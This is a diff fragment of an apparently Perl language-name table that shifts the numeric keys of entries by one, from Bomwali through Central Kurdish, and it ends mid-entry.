+   q(1325) => [
       q(Bomwali),
       ],
-   q(1325) => [
+   q(1326) => [
       q(Baimak),
       ],
-   q(1326) => [
+   q(1327) => [
       q(Baramu),
       ],
-   q(1327) => [
+   q(1328) => [
       q(Bonerate),
       ],
-   q(1328) => [
+   q(1329) => [
       q(Bookan),
       ],
-   q(1329) => [
+   q(1330) => [
       q(Bontok),
       ],
-   q(1330) => [
+   q(1331) => [
       q(Banda (Indonesia)),
       ],
-   q(1331) => [
+   q(1332) => [
       q(Bintauna),
       ],
-   q(1332) => [
+   q(1333) => [
       q(Masiwang),
       ],
-   q(1333) => [
+   q(1334) => [
       q(Benga),
       ],
-   q(1334) => [
+   q(1335) => [
       q(Bangi),
       ],
-   q(1335) => [
+   q(1336) => [
       q(Eastern Tawbuid),
       ],
-   q(1336) => [
+   q(1337) => [
       q(Bierebo),
       ],
-   q(1337) => [
+   q(1338) => [
       q(Boon),
       ],
-   q(1338) => [
+   q(1339) => [
       q(Batanga),
       ],
-   q(1339) => [
+   q(1340) => [
       q(Bunun),
       ],
-   q(1340) => [
+   q(1341) => [
       q(Bantoanon),
       ],
-   q(1341) => [
+   q(1342) => [
       q(Bola),
       ],
-   q(1342) => [
+   q(1343) => [
       q(Bantik),
       ],
-   q(1343) => [
+   q(1344) => [
       q(Butmas-Tur),
       ],
-   q(1344) => [
+   q(1345) => [
       q(Bundeli),
       ],
-   q(1345) => [
+   q(1346) => [
       q(Bentong),
       ],
-   q(1346) => [
+   q(1347) => [
       q(Bonerif),
       q(Beneraf),
       q(Edwas),
       ],
-   q(1347) => [
+   q(1348) => [
       q(Bisis),
       ],
-   q(1348) => [
+   q(1349) => [
       q(Bangubangu),
       ],
-   q(1349) => [
+   q(1350) => [
       q(Bintulu),
       ],
-   q(1350) => [
+   q(1351) => [
       q(Beezen),
       ],
-   q(1351) => [
+   q(1352) => [
       q(Bora),
       ],
-   q(1352) => [
+   q(1353) => [
       q(Aweer),
       ],
-   q(1353) => [
+   q(1354) => [
       q(Mundabli),
       ],
-   q(1354) => [
+   q(1355) => [
       q(Bolon),
       ],
-   q(1355) => [
+   q(1356) => [
       q(Bamako Sign Language),
       ],
-   q(1356) => [
+   q(1357) => [
       q(Boma),
       ],
-   q(1357) => [
+   q(1358) => [
       q(Barbareno),
       ],
-   q(1358) => [
+   q(1359) => [
       q(Anjam),
       ],
-   q(1359) => [
+   q(1360) => [
       q(Bonjo),
       ],
-   q(1360) => [
+   q(1361) => [
       q(Bole),
       ],
-   q(1361) => [
+   q(1362) => [
       q(Berom),
       ],
-   q(1362) => [
+   q(1363) => [
       q(Bine),
       ],
-   q(1363) => [
+   q(1364) => [
       q(Tiemacewe Bozo),
       ],
-   q(1364) => [
+   q(1365) => [
       q(Bonkiman),
       ],
-   q(1365) => [
+   q(1366) => [
       q(Bogaya),
       ],
-   q(1366) => [
+   q(1367) => [
       q(Bororo),
       ],
-   q(1367) => [
+   q(1368) => [
       q(Bongo),
       ],
-   q(1368) => [
+   q(1369) => [
       q(Bondei),
       ],
-   q(1369) => [
+   q(1370) => [
       q(Tuwuli),
       ],
-   q(1370) => [
+   q(1371) => [
       q(Rema),
       ],
-   q(1371) => [
+   q(1372) => [
       q(Buamu),
       ],
-   q(1372) => [
+   q(1373) => [
       q(Bodo (Central African Republic)),
       ],
-   q(1373) => [
+   q(1374) => [
       q(Tieyaxo Bozo),
       ],
-   q(1374) => [
+   q(1375) => [
       q(Daakaka),
       ],
-   q(1375) => [
+   q(1376) => [
       q(Barbacoas),
       ],
-   q(1376) => [
+   q(1377) => [
       q(Banda-Banda),
       ],
-   q(1377) => [
+   q(1378) => [
       q(Bonggo),
       ],
-   q(1378) => [
+   q(1379) => [
       q(Botlikh),
       ],
-   q(1379) => [
+   q(1380) => [
       q(Bagupi),
       ],
-   q(1380) => [
+   q(1381) => [
       q(Binji),
       ],
-   q(1381) => [
+   q(1382) => [
       q(Orowe),
       q('Oroe),
       ],
-   q(1382) => [
+   q(1383) => [
       q(Broome Pearling Lugger Pidgin),
       ],
-   q(1383) => [
+   q(1384) => [
       q(Biyom),
       ],
-   q(1384) => [
+   q(1385) => [
       q(Dzao Min),
       ],
-   q(1385) => [
+   q(1386) => [
       q(Anasi),
       ],
-   q(1386) => [
+   q(1387) => [
       q(Kaure),
       ],
-   q(1387) => [
+   q(1388) => [
       q(Banda Malay),
       ],
-   q(1388) => [
+   q(1389) => [
       q(Koronadal Blaan),
       ],
-   q(1389) => [
+   q(1390) => [
       q(Sarangani Blaan),
       ],
-   q(1390) => [
+   q(1391) => [
       q(Barrow Point),
       ],
-   q(1391) => [
+   q(1392) => [
       q(Bongu),
       ],
-   q(1392) => [
+   q(1393) => [
       q(Bian Marind),
       ],
-   q(1393) => [
+   q(1394) => [
       q(Bo (Papua New Guinea)),
       ],
-   q(1394) => [
+   q(1395) => [
       q(Palya Bareli),
       ],
-   q(1395) => [
+   q(1396) => [
       q(Bishnupriya),
       ],
-   q(1396) => [
+   q(1397) => [
       q(Bilba),
       ],
-   q(1397) => [
+   q(1398) => [
       q(Tchumbuli),
       ],
-   q(1398) => [
+   q(1399) => [
       q(Bagusa),
       ],
-   q(1399) => [
+   q(1400) => [
       q(Boko (Benin)),
       q(Boo),
       ],
-   q(1400) => [
+   q(1401) => [
       q(Bung),
       ],
-   q(1401) => [
+   q(1402) => [
       q(Baga Kaloum),
       ],
-   q(1402) => [
+   q(1403) => [
       q(Bago-Kusuntu),
       ],
-   q(1403) => [
+   q(1404) => [
       q(Baima),
       ],
-   q(1404) => [
+   q(1405) => [
       q(Bakhtiari),
       ],
-   q(1405) => [
+   q(1406) => [
       q(Bandial),
       ],
-   q(1406) => [
+   q(1407) => [
       q(Banda-Mbres),
       ],
-   q(1407) => [
+   q(1408) => [
       q(Bilakura),
       ],
-   q(1408) => [
+   q(1409) => [
       q(Wumboko),
       ],
-   q(1409) => [
+   q(1410) => [
       q(Bulgarian Sign Language),
       ],
-   q(1410) => [
+   q(1411) => [
       q(Balo),
       ],
-   q(1411) => [
+   q(1412) => [
       q(Busa),
       ],
-   q(1412) => [
+   q(1413) => [
       q(Biritai),
       ],
-   q(1413) => [
+   q(1414) => [
       q(Burusu),
       ],
-   q(1414) => [
+   q(1415) => [
       q(Bosngun),
       ],
-   q(1415) => [
+   q(1416) => [
       q(Bamukumbit),
       ],
-   q(1416) => [
+   q(1417) => [
       q(Boguru),
       ],
-   q(1417) => [
+   q(1418) => [
       q(Koro Wachi),
       q(Begbere-Ejar),
       ],
-   q(1418) => [
+   q(1419) => [
       q(Buru (Nigeria)),
       ],
-   q(1419) => [
+   q(1420) => [
       q(Baangi),
       ],
-   q(1420) => [
+   q(1421) => [
       q(Bengkala Sign Language),
       ],
-   q(1421) => [
+   q(1422) => [
       q(Bakaka),
       ],
-   q(1422) => [
+   q(1423) => [
       q(Lave),
       ],
-   q(1423) => [
+   q(1424) => [
       q(Berbice Creole Dutch),
       ],
-   q(1424) => [
+   q(1425) => [
       q(Baraamu),
       ],
-   q(1425) => [
+   q(1426) => [
       q(Bera),
       ],
-   q(1426) => [
+   q(1427) => [
       q(Baure),
       ],
-   q(1427) => [
+   q(1428) => [
       q(Brahui),
       ],
-   q(1428) => [
+   q(1429) => [
       q(Mokpwe),
       ],
-   q(1429) => [
+   q(1430) => [
       q(Bieria),
       ],
-   q(1430) => [
+   q(1431) => [
       q(Birked),
       ],
-   q(1431) => [
+   q(1432) => [
       q(Birwa),
       ],
-   q(1432) => [
+   q(1433) => [
       q(Barambu),
       ],
-   q(1433) => [
+   q(1434) => [
       q(Boruca),
       ],
-   q(1434) => [
+   q(1435) => [
       q(Brokkat),
       ],
-   q(1435) => [
+   q(1436) => [
       q(Barapasi),
       ],
-   q(1436) => [
+   q(1437) => [
       q(Breri),
       ],
-   q(1437) => [
+   q(1438) => [
       q(Birao),
       ],
-   q(1438) => [
+   q(1439) => [
       q(Baras),
       ],
-   q(1439) => [
+   q(1440) => [
       q(Bitare),
       ],
-   q(1440) => [
+   q(1441) => [
       q(Eastern Bru),
       ],
-   q(1441) => [
+   q(1442) => [
       q(Western Bru),
       ],
-   q(1442) => [
+   q(1443) => [
       q(Bellari),
       ],
-   q(1443) => [
+   q(1444) => [
       q(Bodo (India)),
       ],
-   q(1444) => [
+   q(1445) => [
       q(Burui),
       ],
-   q(1445) => [
+   q(1446) => [
       q(Bilbil),
       ],
-   q(1446) => [
+   q(1447) => [
       q(Abinomn),
       ],
-   q(1447) => [
+   q(1448) => [
       q(Brunei Bisaya),
       ],
-   q(1448) => [
+   q(1449) => [
       q(Bassari),
       q(Oniyan),
       ],
-   q(1449) => [
+   q(1450) => [
       q(Wushi),
       ],
-   q(1450) => [
+   q(1451) => [
       q(Bauchi),
       ],
-   q(1451) => [
+   q(1452) => [
       q(Bashkardi),
       ],
-   q(1452) => [
+   q(1453) => [
       q(Kati),
       ],
-   q(1453) => [
+   q(1454) => [
       q(Bassossi),
       ],
-   q(1454) => [
+   q(1455) => [
       q(Bangwinji),
       ],
-   q(1455) => [
+   q(1456) => [
       q(Burushaski),
       ],
-   q(1456) => [
+   q(1457) => [
       q(Basa-Gumna),
       ],
-   q(1457) => [
+   q(1458) => [
       q(Busami),
       ],
-   q(1458) => [
+   q(1459) => [
       q(Barasana-Eduria),
       ],
-   q(1459) => [
+   q(1460) => [
       q(Buso),
       ],
-   q(1460) => [
+   q(1461) => [
       q(Baga Sitemu),
       ],
-   q(1461) => [
+   q(1462) => [
       q(Bassa),
       ],
-   q(1462) => [
+   q(1463) => [
       q(Bassa-Kontagora),
       ],
-   q(1463) => [
+   q(1464) => [
       q(Akoose),
       ],
-   q(1464) => [
+   q(1465) => [
       q(Basketo),
       ],
-   q(1465) => [
+   q(1466) => [
       q(Bahonsuai),
       ],
-   q(1466) => [
+   q(1467) => [
       q(Baga Sobane),
       ],
-   q(1467) => [
+   q(1468) => [
       q(Baiso),
       ],
-   q(1468) => [
+   q(1469) => [
       q(Yangkam),
       ],
-   q(1469) => [
+   q(1470) => [
       q(Sabah Bisaya),
       ],
-   q(1470) => [
+   q(1471) => [
       q(Bata),
       ],
-   q(1471) => [
+   q(1472) => [
       q(Bati (Cameroon)),
       ],
-   q(1472) => [
+   q(1473) => [
       q(Batak Dairi),
       ],
-   q(1473) => [
+   q(1474) => [
       q(Gamo-Ningi),
       ],
-   q(1474) => [
+   q(1475) => [
       q(Birgit),
       ],
-   q(1475) => [
+   q(1476) => [
       q(Gagnoa Bete),
       ],
-   q(1476) => [
+   q(1477) => [
       q(Biatah Bidayuh),
       ],
-   q(1477) => [
+   q(1478) => [
       q(Burate),
       ],
-   q(1478) => [
+   q(1479) => [
       q(Bacanese Malay),
       ],
-   q(1479) => [
+   q(1480) => [
       q(Batak Mandailing),
       ],
-   q(1480) => [
+   q(1481) => [
       q(Ratagnon),
       ],
-   q(1481) => [
+   q(1482) => [
       q(Rinconada Bikol),
       ],
-   q(1482) => [
+   q(1483) => [
       q(Budibud),
       ],
-   q(1483) => [
+   q(1484) => [
       q(Batek),
       ],
-   q(1484) => [
+   q(1485) => [
       q(Baetora),
       ],
-   q(1485) => [
+   q(1486) => [
       q(Batak Simalungun),
       ],
-   q(1486) => [
+   q(1487) => [
       q(Bete-Bendi),
       ],
-   q(1487) => [
+   q(1488) => [
       q(Batu),
       ],
-   q(1488) => [
+   q(1489) => [
       q(Bateri),
       ],
-   q(1489) => [
+   q(1490) => [
       q(Butuanon),
       ],
-   q(1490) => [
+   q(1491) => [
       q(Batak Karo),
       ],
-   q(1491) => [
+   q(1492) => [
       q(Bobot),
       ],
-   q(1492) => [
+   q(1493) => [
       q(Batak Alas-Kluet),
       ],
-   q(1493) => [
+   q(1494) => [
       q(Bua),
       ],
-   q(1494) => [
+   q(1495) => [
       q(Bushi),
       ],
-   q(1495) => [
+   q(1496) => [
       q(Ntcham),
       ],
-   q(1496) => [
+   q(1497) => [
       q(Beothuk),
       ],
-   q(1497) => [
+   q(1498) => [
       q(Bushoong),
       ],
-   q(1498) => [
+   q(1499) => [
       q(Younuo Bunu),
       ],
-   q(1499) => [
+   q(1500) => [
       q(Bongili),
       ],
-   q(1500) => [
+   q(1501) => [
       q(Basa-Gurmana),
       ],
-   q(1501) => [
+   q(1502) => [
       q(Bugawac),
       ],
-   q(1502) => [
+   q(1503) => [
       q(Bulu (Cameroon)),
       ],
-   q(1503) => [
+   q(1504) => [
       q(Sherbro),
       ],
-   q(1504) => [
+   q(1505) => [
       q(Terei),
       ],
-   q(1505) => [
+   q(1506) => [
       q(Busoa),
       ],
-   q(1506) => [
+   q(1507) => [
       q(Brem),
       ],
-   q(1507) => [
+   q(1508) => [
       q(Bokobaru),
       ],
-   q(1508) => [
+   q(1509) => [
       q(Bungain),
       ],
-   q(1509) => [
+   q(1510) => [
       q(Budu),
       ],
-   q(1510) => [
+   q(1511) => [
       q(Bun),
       ],
-   q(1511) => [
+   q(1512) => [
       q(Bubi),
       ],
-   q(1512) => [
+   q(1513) => [
       q(Boghom),
       ],
-   q(1513) => [
+   q(1514) => [
       q(Bullom So),
       ],
-   q(1514) => [
+   q(1515) => [
       q(Bukwen),
       ],
-   q(1515) => [
+   q(1516) => [
       q(Barein),
       ],
-   q(1516) => [
+   q(1517) => [
       q(Bube),
       ],
-   q(1517) => [
+   q(1518) => [
       q(Baelelea),
       ],
-   q(1518) => [
+   q(1519) => [
       q(Baeggu),
       ],
-   q(1519) => [
+   q(1520) => [
       q(Berau Malay),
       ],
-   q(1520) => [
+   q(1521) => [
       q(Boor),
       ],
-   q(1521) => [
+   q(1522) => [
       q(Bonkeng),
       ],
-   q(1522) => [
+   q(1523) => [
       q(Bure),
       ],
-   q(1523) => [
+   q(1524) => [
       q(Belanda Viri),
       ],
-   q(1524) => [
+   q(1525) => [
       q(Baan),
       ],
-   q(1525) => [
+   q(1526) => [
       q(Bukat),
       ],
-   q(1526) => [
+   q(1527) => [
       q(Bolivian Sign Language),
       ],
-   q(1527) => [
+   q(1528) => [
       q(Bamunka),
       ],
-   q(1528) => [
+   q(1529) => [
       q(Buna),
       ],
-   q(1529) => [
+   q(1530) => [
       q(Bolgo),
       ],
-   q(1530) => [
+   q(1531) => [
       q(Bumang),
       ],
-   q(1531) => [
+   q(1532) => [
       q(Birri),
       ],
-   q(1532) => [
+   q(1533) => [
       q(Burarra),
       ],
-   q(1533) => [
+   q(1534) => [
       q(Bati (Indonesia)),
       ],
-   q(1534) => [
+   q(1535) => [
       q(Bukit Malay),
       ],
-   q(1535) => [
+   q(1536) => [
       q(Baniva),
       ],
-   q(1536) => [
+   q(1537) => [
       q(Boga),
       ],
-   q(1537) => [
+   q(1538) => [
       q(Dibole),
       ],
-   q(1538) => [
+   q(1539) => [
       q(Baybayanon),
       ],
-   q(1539) => [
+   q(1540) => [
       q(Bauzi),
       ],
-   q(1540) => [
+   q(1541) => [
       q(Bwatoo),
       ],
-   q(1541) => [
+   q(1542) => [
       q(Namosi-Naitasiri-Serua),
       ],
-   q(1542) => [
+   q(1543) => [
       q(Bwile),
       ],
-   q(1543) => [
+   q(1544) => [
       q(Bwaidoka),
       ],
-   q(1544) => [
+   q(1545) => [
       q(Bwe Karen),
       ],
-   q(1545) => [
+   q(1546) => [
       q(Boselewa),
       ],
-   q(1546) => [
+   q(1547) => [
       q(Barwe),
       ],
-   q(1547) => [
+   q(1548) => [
       q(Bishuo),
       ],
-   q(1548) => [
+   q(1549) => [
       q(Baniwa),
       ],
-   q(1549) => [
+   q(1550) => [
       q(Laa Laa Bwamu),
       ],
-   q(1550) => [
+   q(1551) => [
       q(Bauwaki),
       ],
-   q(1551) => [
+   q(1552) => [
       q(Bwela),
       ],
-   q(1552) => [
+   q(1553) => [
       q(Biwat),
       ],
-   q(1553) => [
+   q(1554) => [
       q(Wunai Bunu),
       ],
-   q(1554) => [
+   q(1555) => [
       q(Boro (Ethiopia)),
       q(Borna (Ethiopia)),
       ],
-   q(1555) => [
+   q(1556) => [
       q(Mandobo Bawah),
       ],
-   q(1556) => [
+   q(1557) => [
       q(Southern Bobo Madare),
       ],
-   q(1557) => [
+   q(1558) => [
       q(Bura-Pabir),
       ],
-   q(1558) => [
+   q(1559) => [
       q(Bomboma),
       ],
-   q(1559) => [
+   q(1560) => [
       q(Bafaw-Balong),
       ],
-   q(1560) => [
+   q(1561) => [
       q(Buli (Ghana)),
       ],
-   q(1561) => [
+   q(1562) => [
       q(Bwa),
       ],
-   q(1562) => [
+   q(1563) => [
       q(Bu-Nao Bunu),
       ],
-   q(1563) => [
+   q(1564) => [
       q(Cwi Bwamu),
       ],
-   q(1564) => [
+   q(1565) => [
       q(Bwisi),
       ],
-   q(1565) => [
+   q(1566) => [
       q(Tairaha),
       ],
-   q(1566) => [
+   q(1567) => [
       q(Belanda Bor),
       ],
-   q(1567) => [
+   q(1568) => [
       q(Molengue),
       ],
-   q(1568) => [
+   q(1569) => [
       q(Pela),
       ],
-   q(1569) => [
+   q(1570) => [
       q(Birale),
       ],
-   q(1570) => [
+   q(1571) => [
       q(Bilur),
       q(Minigir),
       ],
-   q(1571) => [
+   q(1572) => [
       q(Bangala),
       ],
-   q(1572) => [
+   q(1573) => [
       q(Buhutu),
       ],
-   q(1573) => [
+   q(1574) => [
       q(Pirlatapa),
       ],
-   q(1574) => [
+   q(1575) => [
       q(Bayungu),
       ],
-   q(1575) => [
+   q(1576) => [
       q(Bukusu),
       q(Lubukusu),
       ],
-   q(1576) => [
+   q(1577) => [
       q(Jalkunan),
       ],
-   q(1577) => [
+   q(1578) => [
       q(Mongolia Buriat),
       ],
-   q(1578) => [
+   q(1579) => [
       q(Burduna),
       ],
-   q(1579) => [
+   q(1580) => [
       q(Barikanchi),
       ],
-   q(1580) => [
+   q(1581) => [
       q(Bebil),
       ],
-   q(1581) => [
+   q(1582) => [
       q(Beele),
       ],
-   q(1582) => [
+   q(1583) => [
       q(Russia Buriat),
       ],
-   q(1583) => [
+   q(1584) => [
       q(Busam),
       ],
-   q(1584) => [
+   q(1585) => [
       q(China Buriat),
       ],
-   q(1585) => [
+   q(1586) => [
       q(Berakou),
       ],
-   q(1586) => [
+   q(1587) => [
       q(Bankagooma),
       ],
-   q(1587) => [
+   q(1588) => [
       q(Binahari),
       ],
-   q(1588) => [
+   q(1589) => [
       q(Batak),
       ],
-   q(1589) => [
+   q(1590) => [
       q(Bikya),
       ],
-   q(1590) => [
+   q(1591) => [
       q(Ubaghara),
       ],
-   q(1591) => [
+   q(1592) => [
       q(Benyadu'),
       ],
-   q(1592) => [
+   q(1593) => [
       q(Pouye),
       ],
-   q(1593) => [
+   q(1594) => [
       q(Bete),
       ],
-   q(1594) => [
+   q(1595) => [
       q(Baygo),
       ],
-   q(1595) => [
+   q(1596) => [
       q(Bhujel),
       ],
-   q(1596) => [
+   q(1597) => [
       q(Buyu),
       ],
-   q(1597) => [
+   q(1598) => [
       q(Bina (Nigeria)),
       ],
-   q(1598) => [
+   q(1599) => [
       q(Biao),
       ],
-   q(1599) => [
+   q(1600) => [
       q(Bayono),
       ],
-   q(1600) => [
+   q(1601) => [
       q(Bidyara),
       ],
-   q(1601) => [
+   q(1602) => [
       q(Biyo),
       ],
-   q(1602) => [
+   q(1603) => [
       q(Bumaji),
       ],
-   q(1603) => [
+   q(1604) => [
       q(Basay),
       ],
-   q(1604) => [
+   q(1605) => [
       q(Baruya),
       q(Yipma),
       ],
-   q(1605) => [
+   q(1606) => [
       q(Burak),
       ],
-   q(1606) => [
+   q(1607) => [
       q(Berti),
       ],
-   q(1607) => [
+   q(1608) => [
       q(Medumba),
       ],
-   q(1608) => [
+   q(1609) => [
       q(Belhariya),
       ],
-   q(1609) => [
+   q(1610) => [
       q(Qaqet),
       ],
-   q(1610) => [
+   q(1611) => [
       q(Banaro),
       ],
-   q(1611) => [
+   q(1612) => [
       q(Bandi),
       ],
-   q(1612) => [
+   q(1613) => [
       q(Andio),
       ],
-   q(1613) => [
+   q(1614) => [
       q(Southern Betsimisaraka Malagasy),
       ],
-   q(1614) => [
+   q(1615) => [
       q(Bribri),
       ],
-   q(1615) => [
+   q(1616) => [
       q(Jenaama Bozo),
       ],
-   q(1616) => [
+   q(1617) => [
       q(Boikin),
       ],
-   q(1617) => [
+   q(1618) => [
       q(Babuza),
       ],
-   q(1618) => [
+   q(1619) => [
       q(Mapos Buang),
       ],
-   q(1619) => [
+   q(1620) => [
       q(Bisu),
       ],
-   q(1620) => [
+   q(1621) => [
       q(Belize Kriol English),
       ],
-   q(1621) => [
+   q(1622) => [
       q(Nicaragua Creole English),
       ],
-   q(1622) => [
+   q(1623) => [
       q(Boano (Sulawesi)),
       ],
-   q(1623) => [
+   q(1624) => [
       q(Bolondo),
       ],
-   q(1624) => [
+   q(1625) => [
       q(Boano (Maluku)),
       ],
-   q(1625) => [
+   q(1626) => [
       q(Bozaba),
       ],
-   q(1626) => [
+   q(1627) => [
       q(Kemberano),
       ],
-   q(1627) => [
+   q(1628) => [
       q(Buli (Indonesia)),
       ],
-   q(1628) => [
+   q(1629) => [
       q(Biri),
       ],
-   q(1629) => [
+   q(1630) => [
       q(Brazilian Sign Language),
       ],
-   q(1630) => [
+   q(1631) => [
       q(Brithenig),
       ],
-   q(1631) => [
+   q(1632) => [
       q(Burmeso),
       ],
-   q(1632) => [
+   q(1633) => [
       q(Naami),
       ],
-   q(1633) => [
+   q(1634) => [
       q(Basa (Nigeria)),
       ],
-   q(1634) => [
+   q(1635) => [
       q(Kelengazxo Bozo),
       ],
-   q(1635) => [
+   q(1636) => [
       q(Obanliku),
       ],
-   q(1636) => [
+   q(1637) => [
       q(Evant),
       ],
-   q(1637) => [
+   q(1638) => [
       q(Chorti),
       ],
-   q(1638) => [
+   q(1639) => [
       q(Garifuna),
       ],
-   q(1639) => [
+   q(1640) => [
       q(Chuj),
       ],
-   q(1640) => [
+   q(1641) => [
       q(Lehar),
       q(Laalaa),
       ],
-   q(1641) => [
+   q(1642) => [
       q(Southern Carrier),
       ],
-   q(1642) => [
+   q(1643) => [
       q(Nivacle),
       ],
-   q(1643) => [
+   q(1644) => [
       q(Cahuarano),
       ],
-   q(1644) => [
+   q(1645) => [
       q(Chane),
       ],
-   q(1645) => [
+   q(1646) => [
       q(Kaqchikel),
       q(Cakchiquel),
       ],
-   q(1646) => [
+   q(1647) => [
       q(Carolinian),
       ],
-   q(1647) => [
+   q(1648) => [
       q(Cemuhi),
       ],
-   q(1648) => [
+   q(1649) => [
       q(Chambri),
       ],
-   q(1649) => [
+   q(1650) => [
       q(Chacobo),
       ],
-   q(1650) => [
+   q(1651) => [
       q(Chipaya),
       ],
-   q(1651) => [
+   q(1652) => [
       q(Car Nicobarese),
       ],
-   q(1652) => [
+   q(1653) => [
       q(Tsimane),
       ],
-   q(1653) => [
+   q(1654) => [
       q(Cavinena),
       ],
-   q(1654) => [
+   q(1655) => [
       q(Callawalla),
       ],
-   q(1655) => [
+   q(1656) => [
       q(Chiquitano),
       ],
-   q(1656) => [
+   q(1657) => [
       q(Cayuga),
       ],
-   q(1657) => [
+   q(1658) => [
       q(Canichana),
       ],
-   q(1658) => [
+   q(1659) => [
       q(Cabiyari),
       ],
-   q(1659) => [
+   q(1660) => [
       q(Carapana),
       ],
-   q(1660) => [
+   q(1661) => [
       q(Carijona),
       ],
-   q(1661) => [
+   q(1662) => [
       q(Chimila),
       ],
-   q(1662) => [
+   q(1663) => [
       q(Chachi),
       ],
-   q(1663) => [
+   q(1664) => [
       q(Ede Cabe),
       ],
-   q(1664) => [
+   q(1665) => [
       q(Chavacano),
       ],
-   q(1665) => [
+   q(1666) => [
       q(Bualkhaw Chin),
       ],
-   q(1666) => [
+   q(1667) => [
       q(Nyahkur),
       ],
-   q(1667) => [
+   q(1668) => [
       q(Izora),
       ],
-   q(1668) => [
+   q(1669) => [
       q(Tsucuba),
       q(Cuba),
       ],
-   q(1669) => [
+   q(1670) => [
       q(Cashibo-Cacataibo),
       ],
-   q(1670) => [
+   q(1671) => [
       q(Cashinahua),
       ],
-   q(1671) => [
+   q(1672) => [
       q(Chayahuita),
       ],
-   q(1672) => [
+   q(1673) => [
       q(Candoshi-Shapra),
       ],
-   q(1673) => [
+   q(1674) => [
       q(Cacua),
       ],
-   q(1674) => [
+   q(1675) => [
       q(Kinabalian),
       ],
-   q(1675) => [
+   q(1676) => [
       q(Carabayo),
       ],
-   q(1676) => [
+   q(1677) => [
       q(Cauca),
       ],
-   q(1677) => [
+   q(1678) => [
       q(Chamicuro),
       ],
-   q(1678) => [
+   q(1679) => [
       q(Cafundo Creole),
       ],
-   q(1679) => [
+   q(1680) => [
       q(Chopi),
       ],
-   q(1680) => [
+   q(1681) => [
       q(Samba Daka),
       ],
-   q(1681) => [
+   q(1682) => [
       q(Atsam),
       ],
-   q(1682) => [
+   q(1683) => [
       q(Kasanga),
       ],
-   q(1683) => [
+   q(1684) => [
       q(Cutchi-Swahili),
       ],
-   q(1684) => [
+   q(1685) => [
       q(Malaccan Creole Malay),
       ],
-   q(1685) => [
+   q(1686) => [
       q(Comaltepec Chinantec),
       ],
-   q(1686) => [
+   q(1687) => [
       q(Chakma),
       ],
-   q(1687) => [
+   q(1688) => [
       q(Cacaopera),
       ],
-   q(1688) => [
+   q(1689) => [
       q(Choni),
       ],
-   q(1689) => [
+   q(1690) => [
       q(Chenchu),
       ],
-   q(1690) => [
+   q(1691) => [
       q(Chiru),
       ],
-   q(1691) => [
+   q(1692) => [
       q(Chamari),
       ],
-   q(1692) => [
+   q(1693) => [
       q(Chambeali),
       ],
-   q(1693) => [
+   q(1694) => [
       q(Chodri),
       ],
-   q(1694) => [
+   q(1695) => [
       q(Churahi),
       ],
-   q(1695) => [
+   q(1696) => [
       q(Chepang),
       ],
-   q(1696) => [
+   q(1697) => [
       q(Chaudangsi),
       ],
-   q(1697) => [
+   q(1698) => [
       q(Min Dong Chinese),
       ],
-   q(1698) => [
+   q(1699) => [
       q(Cinda-Regi-Tiyal),
       ],
-   q(1699) => [
+   q(1700) => [
       q(Chadian Sign Language),
       ],
-   q(1700) => [
+   q(1701) => [
       q(Chadong),
       ],
-   q(1701) => [
+   q(1702) => [
       q(Koda),
       ],
-   q(1702) => [
+   q(1703) => [
       q(Lower Chehalis),
       ],
-   q(1703) => [
+   q(1704) => [
       q(Chamacoco),
       ],
-   q(1704) => [
+   q(1705) => [
       q(Eastern Khumi Chin),
       ],
-   q(1705) => [
+   q(1706) => [
       q(Cen),
       ],
-   q(1706) => [
+   q(1707) => [
       q(Centuum),
       ],
-   q(1707) => [
+   q(1708) => [
       q(Dijim-Bwilim),
       ],
-   q(1708) => [
+   q(1709) => [
       q(Cara),
       ],
-   q(1709) => [
+   q(1710) => [
       q(Como Karim),
       ],
-   q(1710) => [
+   q(1711) => [
       q(Falam Chin),
       ],
-   q(1711) => [
+   q(1712) => [
       q(Changriwa),
       ],
-   q(1712) => [
+   q(1713) => [
       q(Kagayanen),
       ],
-   q(1713) => [
+   q(1714) => [
       q(Chiga),
       ],
-   q(1714) => [
+   q(1715) => [
       q(Chocangacakha),
       ],
-   q(1715) => [
+   q(1716) => [
       q(Catawba),
       ],
-   q(1716) => [
+   q(1717) => [
       q(Highland Oaxaca Chontal),
       ],
-   q(1717) => [
+   q(1718) => [
       q(Tabasco Chontal),
       ],
-   q(1718) => [
+   q(1719) => [
       q(Chinook),
       ],
-   q(1719) => [
+   q(1720) => [
       q(Ojitlan Chinantec),
       ],
-   q(1720) => [
+   q(1721) => [
       q(Cahuilla),
       ],
-   q(1721) => [
+   q(1722) => [
       q(Quiotepec Chinantec),
       ],
-   q(1722) => [
+   q(1723) => [
       q(Cholon),
       ],
-   q(1723) => [
+   q(1724) => [
       q(Chuwabu),
       ],
-   q(1724) => [
+   q(1725) => [
       q(Chantyal),
       ],
-   q(1725) => [
+   q(1726) => [
       q(Ozumacin Chinantec),
       ],
-   q(1726) => [
+   q(1727) => [
       q(Cia-Cia),
       ],
-   q(1727) => [
+   q(1728) => [
       q(Ci Gbe),
       ],
-   q(1728) => [
+   q(1729) => [
       q(Chickasaw),
       ],
-   q(1729) => [
+   q(1730) => [
       q(Chimariko),
       ],
-   q(1730) => [
+   q(1731) => [
       q(Cineni),
       ],
-   q(1731) => [
+   q(1732) => [
       q(Chinali),
       ],
-   q(1732) => [
+   q(1733) => [
       q(Chitkuli Kinnauri),
       ],
-   q(1733) => [
+   q(1734) => [
       q(Cimbrian),
       ],
-   q(1734) => [
+   q(1735) => [
       q(Cinta Larga),
       ],
-   q(1735) => [
+   q(1736) => [
       q(Chiapanec),
       ],
-   q(1736) => [
+   q(1737) => [
       q(Tiri),
       q(Hamea),
       q(Mea),
       ],
-   q(1737) => [
+   q(1738) => [
       q(Chippewa),
       ],
-   q(1738) => [
+   q(1739) => [
       q(Chaima),
       ],
-   q(1739) => [
+   q(1740) => [
       q(Western Cham),
       ],
-   q(1740) => [
+   q(1741) => [
       q(Chru),
       ],
-   q(1741) => [
+   q(1742) => [
       q(Upper Chehalis),
       ],
-   q(1742) => [
+   q(1743) => [
       q(Chamalal),
       ],
-   q(1743) => [
+   q(1744) => [
       q(Chokwe),
       ],
-   q(1744) => [
+   q(1745) => [
       q(Eastern Cham),
       ],
-   q(1745) => [
+   q(1746) => [
       q(Chenapian),
       ],
-   q(1746) => [
+   q(1747) => [
       q(Asheninka Pajonal),
       ],
-   q(1747) => [
+   q(1748) => [
       q(Cabecar),
       ],
-   q(1748) => [
+   q(1749) => [
       q(Shor),
       ],
-   q(1749) => [
+   q(1750) => [
       q(Chuave),
       ],
-   q(1750) => [
+   q(1751) => [
       q(Jinyu Chinese),
       ],
-   q(1751) => [
+   q(1752) => [
       q(Central Kurdish),
       ],
-   q(1752) => [
